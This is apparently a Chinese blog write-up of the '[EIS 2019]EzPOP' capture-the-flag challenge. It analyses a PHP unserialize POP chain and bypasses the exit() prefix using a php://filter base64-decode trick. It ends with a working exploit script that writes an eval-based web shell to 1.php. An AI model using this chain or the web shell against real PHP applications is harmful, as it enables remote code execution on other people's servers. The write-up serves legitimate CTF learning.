[EIS 2019]EzPOP

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

这种长的,感觉从功能入手比较好搞

file_put_contents($filename, $data);

写入文件名和数据

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

由一个php语句,还有一个exit,要绕过它谈一谈php://filter的妙用 | 离别歌

if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

这里进去if的化data会被压缩,所以不能进去,那就要options['data_compress']为空才行

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }
 $data = $this->serialize($value);

这里相当于先判断data是不是数字,然后返回由options['serialize']所代表的函数之类的处理过后的data,options['serialize']的值需要是一个不影响data的函数。

之后是filename

$dir = dirname($filename);

dirname() 函数返回路径中的目录名称部分。

$filename = $this->getCacheKey($name);
 

public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

把options['prefix']拼在name的前面

然后这些都是在自定义的set函数下进行的

public function set($name, $value, $expire = null)

而进入set需要先进入save,又会触发getForStorage函数

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {          //需要autosave不存在才可以进入save
            $this->save();
        }
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([    //array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }               //array_intersect_key() 函数用于比较两个(或更多个)数组的键名 ,并返回交集。
        }

        return $contents;        //这个函数我们输入的键名要是$cachedProperties里面的一个,而值则是我们的语句
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
public function set($name, $value, $expire = null)

这里expire默认null,然后进入if,expire的值变为options['expire']的值,而data里面需要expire为十进制数,所以要把options['expire']的值改为十进制数

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = 'aaa'.base64_encode('<?php @eval($_POST[1]);?>');
    $this->key = "1.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'trim';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

 

 之后?data=payload就可以生成1.php

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值